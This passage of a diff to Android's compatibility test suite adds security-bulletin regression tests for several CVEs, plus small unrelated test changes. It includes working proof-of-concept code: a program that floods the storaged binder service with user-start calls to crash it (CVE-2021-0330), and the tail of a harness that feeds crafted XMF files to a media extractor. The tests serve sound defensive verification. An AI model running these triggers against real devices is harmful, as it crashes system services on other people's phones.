+  GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+  if (!getDef) {
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+
+  int fdData = open(argv[1], O_RDONLY);
+  if (fdData < 0) {
+    dlclose(libHandle);
+    return EXIT_FAILURE;
+  }
+  int fdInfo = open(argv[2], O_RDONLY);
+  if (fdInfo < 0) {
+    close_resources(fdData, fdInfo, libHandle);
+    return EXIT_FAILURE;
+  }
+
+  sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
+  if (!dataSource) {
+    close_resources(fdData, fdInfo, libHandle);
+    return EXIT_FAILURE;
+  }
+
+  void *meta = nullptr;
+  FreeMetaFunc freeMeta = nullptr;
+
+  float confidence = 0.0f;
+  if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+    getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+  } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+    getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
+  }
+
+  close_resources(fdData, fdInfo, libHandle);
+  enable_selective_overload = ENABLE_NONE;
+  return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/Android.bp
new file mode 100644
index 0000000..30915d5
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/Android.bp
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+    name: "CVE-2021-0330",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    shared_libs: [
+        "libutils",
+        "libbinder",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/poc.cpp
new file mode 100644
index 0000000..4d7254f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0330/poc.cpp
@@ -0,0 +1,70 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <binder/IServiceManager.h>
+#include <binder/Parcel.h>
+#include <pthread.h>
+#include <unistd.h>
+#include "../includes/common.h"
+
+using namespace android;
+
+static int userId = 0;
+constexpr int kMaxThreads = 2;
+constexpr int kMaxUsers = 1024 * 1024;
+constexpr int kSleepDuration = 5;
+
+
+static void *trigger_onUserStarted(void *p __attribute__((unused))) {
+    sp<IServiceManager> sm = defaultServiceManager();
+    sp<IBinder> service = sm->checkService(String16("storaged"));
+
+    if (not service) {
+        return nullptr;
+    }
+
+    while (userId < kMaxUsers) {
+        Parcel data, reply;
+        data.writeInterfaceToken(service->getInterfaceDescriptor());
+        data.writeInt32(++userId);
+        service->transact(1, data, &reply, 0);
+    }
+
+    return nullptr;
+}
+
+int main() {
+    pthread_t threads[kMaxThreads];
+
+    for (int t = 0; t < kMaxThreads; ++t) {
+        pthread_create(&threads[t], nullptr, trigger_onUserStarted, nullptr);
+    }
+    for (int t = 0; t < kMaxThreads; ++t) {
+        pthread_join(threads[t], nullptr);
+    }
+
+    time_t currentTime = start_timer();
+    while (timer_active(currentTime)) {
+        sp<IServiceManager> sm = defaultServiceManager();
+        sp<IBinder> service = sm->checkService(String16("storaged"));
+        if (service) {
+            break;
+        }
+        sleep(kSleepDuration);
+    }
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java
new file mode 100644
index 0000000..4dd4b39
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0684.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2017_0684 extends SecurityTestCase {
+
+    /**
+     * b/35421151
+     * Vulnerability Behaviour: SIGSEGV in media.codec
+     */
+    @SecurityTest(minPatchLevel = "2017-07")
+    @Test
+    public void testPocCVE_2017_0684() throws Exception {
+        pocPusher.only32();
+        String errPattern[] = {"media\\.codec", "omx@\\d+?\\.\\d+?-service"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0684", null, getDevice(),
+        errPattern);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java
new file mode 100644
index 0000000..5a17589
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2017_0726.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2017_0726 extends SecurityTestCase {
+
+    /**
+     * b/36389123
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+     */
+    @SecurityTest(minPatchLevel = "2017-08")
+    @Test
+    public void testPocCVE_2017_0726() throws Exception {
+        pocPusher.only64();
+        String inputFiles[] = {"cve_2017_0726.mp4"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2017-0726",
+                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java
new file mode 100644
index 0000000..db98e28
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2019_2135.java
@@ -0,0 +1,39 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import com.android.tradefed.device.ITestDevice;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2019_2135 extends SecurityTestCase {
+
+    /**
+     * b/125900276
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2019-08")
+    @Test
+    public void testPocCVE_2019_2135() throws Exception {
+        pocPusher.only64();
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE_2019_2135", null, getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java
new file mode 100644
index 0000000..4e0a4a6e
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0037.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0037 extends SecurityTestCase {
+
+    /**
+     * b/143106535
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2020-03")
+    @Test
+    public void testPocCVE_2020_0037() throws Exception {
+        pocPusher.only64();
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0037", null, getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
new file mode 100644
index 0000000..6759c30
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0038.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0038 extends SecurityTestCase {
+
+    /**
+     * b/143109193
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2020-03")
+    @Test
+    public void testPocCVE_2020_0038() throws Exception {
+        pocPusher.only64();
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0038", null, getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java
new file mode 100644
index 0000000..f0f3323
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0039.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0039 extends SecurityTestCase {
+
+    /**
+     * b/143155861
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2020-03")
+    @Test
+    public void testPocCVE_2020_0039() throws Exception {
+        pocPusher.only64();
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0039", null, getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
new file mode 100644
index 0000000..07f82bb
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0381.java
@@ -0,0 +1,40 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0381 extends SecurityTestCase {
+
+    /**
+     * b/150159669
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2020-09")
+    @Test
+    public void testPocCVE_2020_0381() throws Exception {
+        String inputFiles[] = {"cve_2020_0381.xmf", "cve_2020_0381.info"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0381",
+                AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
+                inputFiles, AdbUtils.TMP_PATH, getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
new file mode 100644
index 0000000..aedeb1a
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0384.java
@@ -0,0 +1,40 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0384 extends SecurityTestCase {
+
+    /**
+     * b/150159906
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2020-09")
+    @Test
+    public void testPocCVE_2020_0384() throws Exception {
+        String inputFiles[] = {"cve_2020_0384.xmf", "cve_2020_0384.info"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0384",
+                AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
+                inputFiles, AdbUtils.TMP_PATH, getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
new file mode 100644
index 0000000..37465e4
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0385.java
@@ -0,0 +1,40 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.device.ITestDevice;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2020_0385 extends SecurityTestCase {
+
+    /**
+     * b/150160041
+     * Vulnerability Behaviour: SIGSEGV in self
+     */
+    @SecurityTest(minPatchLevel = "2020-09")
+    @Test
+    public void testPocCVE_2020_0385() throws Exception {
+        String inputFiles[] = {"cve_2020_0385.xmf", "cve_2020_0385.info"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2020-0385",
+                AdbUtils.TMP_PATH + inputFiles[0] + " " + AdbUtils.TMP_PATH + inputFiles[1],
+                inputFiles, AdbUtils.TMP_PATH, getDevice());
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0462.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0462.java
deleted file mode 100644
index fe42a0b..0000000
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2020_0462.java
+++ /dev/null
@@ -1,46 +0,0 @@
-/**
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.platform.test.annotations.SecurityTest;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-
-import static org.junit.Assume.assumeTrue;
-import static org.junit.Assert.*;
-
-@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2020_0462 extends SecurityTestCase {
-
-    /**
-     * b/169161709
-     */
-    @Test
-    @SecurityTest(minPatchLevel = "2020-12")
-    public void testPocCVE_2020_0462() throws Exception {
-        assumeTrue(containsDriver(getDevice(),
-                "/sys/devices/system/cpu/vulnerabilities/spec_store_bypass"));
-        String spec_store_bypass = AdbUtils.runCommandLine(
-                "cat /sys/devices/system/cpu/vulnerabilities/spec_store_bypass", getDevice());
-        assertFalse(spec_store_bypass.startsWith("Vulnerable"));
-        assertTrue(spec_store_bypass.startsWith("Not affected") ||
-                spec_store_bypass.startsWith("Mitigation"));
-    }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
new file mode 100644
index 0000000..3d3f4a8
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0330.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.compatibility.common.util.CrashUtils;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0330 extends SecurityTestCase {
+
+    /**
+     * b/170732441
+     * Vulnerability Behaviour: SIGSEGV in storaged
+     */
+    @SecurityTest(minPatchLevel = "2021-02")
+    @Test
+    public void testPocCVE_2021_0330() throws Exception {
+        AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig("CVE-2021-0330", getDevice());
+        testConfig.config = new CrashUtils.Config().setProcessPatterns("storaged");
+        testConfig.config.checkMinAddress(false);
+        AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
+    }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
index abe6ba8..35e46c7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/TestMedia.java
@@ -46,6 +46,19 @@
      ******************************************************************************/
 
     /**
+     * b/17769851
+     * Vulnerability Behaviour: EXIT_VULNERABLE (113)
+     */
+    @SecurityTest(minPatchLevel = "2015-12")
+    @Test
+    public void testPocCVE_2015_6616() throws Exception {
+        pocPusher.only64();
+        String inputFiles[] = {"cve_2015_6616.mp4"};
+        AdbUtils.runPocAssertNoCrashesNotVulnerable("CVE-2015-6616",
+                AdbUtils.TMP_PATH + inputFiles[0], inputFiles, AdbUtils.TMP_PATH, getDevice());
+    }
+
+    /**
      * b/37239013
      * Vulnerability Behaviour: EXIT_VULNERABLE (113)
      */
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java
index 224c8ba..18ad055 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/src/android/content/pm/cts/shortcut/backup/publisher4/ShortcutManagerPostBackupTest.java
@@ -319,7 +319,7 @@
         getContext().registerReceiver(onResult, myFilter);
         assertTrue(getManager().requestPinShortcut(ms2,
                 PendingIntent.getBroadcast(getContext(), 0, new Intent(myIntentAction),
-                        PendingIntent.FLAG_CANCEL_CURRENT).getIntentSender()));
+                        PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED).getIntentSender()));
 
         assertTrue("Didn't receive requestPinShortcut() callback.",
                 latch.await(30, TimeUnit.SECONDS));
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
index 2d88e00..4a69184 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
@@ -1217,6 +1217,28 @@
         }
     }
 
+    @Test
+    public void testApexSetsUpdatedSystemAppFlag_preUpdate() throws Exception {
+        final PackageInfo info = InstallUtils.getPackageInfo(SHIM_APEX_PACKAGE_NAME);
+        assertThat(info).isNotNull();
+        boolean isSystemApp = (info.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0;
+        boolean isUpdatedSystemApp =
+                (info.applicationInfo.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) != 0;
+        assertThat(isSystemApp).isTrue();
+        assertThat(isUpdatedSystemApp).isFalse();
+    }
+
+    @Test
+    public void testApexSetsUpdatedSystemAppFlag_postUpdate() throws Exception {
+        final PackageInfo info = InstallUtils.getPackageInfo(SHIM_APEX_PACKAGE_NAME);
+        assertThat(info).isNotNull();
+        boolean isSystemApp = (info.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0;
+        boolean isUpdatedSystemApp =
+                (info.applicationInfo.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) != 0;
+        assertThat(isSystemApp).isFalse();
+        assertThat(isUpdatedSystemApp).isTrue();
+    }
+
     // It becomes harder to maintain this variety of install-related helper methods.
     // TODO(ioffe): refactor install-related helper methods into a separate utility.
     private static int createStagedSession() throws Exception {
diff --git a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
index f6bda25..66f2510 100644
--- a/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/src/com/android/tests/stagedinstall/host/StagedInstallTest.java
@@ -658,6 +658,16 @@
         runPhase("testApexWithUnsignedPayloadFailsVerification");
     }
 
+    @Test
+    @LargeTest
+    public void testApexSetsUpdatedSystemAppFlag() throws Exception {
+        assumeTrue("Device does not support updating APEX", mHostUtils.isApexUpdateSupported());
+
+        runPhase("testApexSetsUpdatedSystemAppFlag_preUpdate");
+        installV2Apex();
+        runPhase("testApexSetsUpdatedSystemAppFlag_postUpdate");
+    }
+
     /**
      * Test non-priv apps cannot access /data/app-staging folder contents
      */
diff --git a/hostsidetests/time/host/src/android/time/cts/host/LocationManager.java b/hostsidetests/time/host/src/android/time/cts/host/LocationManager.java
index f2f9c399..dab7e33 100644
--- a/hostsidetests/time/host/src/android/time/cts/host/LocationManager.java
+++ b/hostsidetests/time/host/src/android/time/cts/host/LocationManager.java
@@ -31,6 +31,11 @@
      */
     static final String SHELL_COMMAND_SET_LOCATION_ENABLED = "set-location-enabled";
 
+    /**
+     * A shell command that gets the current user's "location enabled" setting value.
+     */
+    static final String SHELL_COMMAND_IS_LOCATION_ENABLED = "is-location-enabled";
+
     private LocationManager() {
         // No need to instantiate.
     }
diff --git a/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManagerHostTest.java b/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManagerHostTest.java
index d5b6405..5cab9355 100644
--- a/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManagerHostTest.java
+++ b/hostsidetests/time/host/src/android/time/cts/host/LocationTimeZoneManagerHostTest.java
@@ -17,6 +17,8 @@
 package android.time.cts.host;
 
 
+import static android.time.cts.host.LocationManager.SHELL_COMMAND_IS_LOCATION_ENABLED;
+import static android.time.cts.host.LocationManager.SHELL_COMMAND_SET_LOCATION_ENABLED;
 import static android.time.cts.host.LocationTimeZoneManager.DUMP_STATE_OPTION_PROTO;
 import static android.time.cts.host.LocationTimeZoneManager.PRIMARY_PROVIDER_NAME;
 import static android.time.cts.host.LocationTimeZoneManager.PROVIDER_MODE_OVERRIDE_DISABLED;
@@ -158,16 +160,13 @@
     }
 
     private boolean isLocationEnabledForCurrentUser() throws Exception {
-        // TODO Ask Location team to add a shell command for this. Until then, there's a method on
-        //  the TimeZoneDetector service.
-        byte[] result = executeTimeZoneDetectorCommand(
-                TimeZoneDetector.SHELL_COMMAND_IS_LOCATION_ENABLED);
+        byte[] result = executeLocationManagerCommand(SHELL_COMMAND_IS_LOCATION_ENABLED);
         return parseShellCommandBytesAsBoolean(result);
     }
 
     private void setLocationEnabledForCurrentUser(boolean enabled) throws Exception {
         executeLocationManagerCommand(
-                "%s %s", LocationManager.SHELL_COMMAND_SET_LOCATION_ENABLED, enabled);
+                "%s %s", SHELL_COMMAND_SET_LOCATION_ENABLED, enabled);
     }
 
     private boolean isAutoDetectionEnabled() throws Exception {
diff --git a/hostsidetests/time/host/src/android/time/cts/host/TimeZoneDetector.java b/hostsidetests/time/host/src/android/time/cts/host/TimeZoneDetector.java
index be0e3ed..7265d85 100644
--- a/hostsidetests/time/host/src/android/time/cts/host/TimeZoneDetector.java
+++ b/hostsidetests/time/host/src/android/time/cts/host/TimeZoneDetector.java
@@ -50,12 +50,6 @@
     String SHELL_COMMAND_IS_GEO_DETECTION_SUPPORTED = "is_geo_detection_supported";
 
     /**
-     * A shell command that prints the current user's "location enabled" setting.
-     * @hide
-     */
-    String SHELL_COMMAND_IS_LOCATION_ENABLED = "is_location_enabled";
-
-    /**
      * A shell command that prints the current user's "location-based time zone detection enabled"
      * setting.
      * @hide
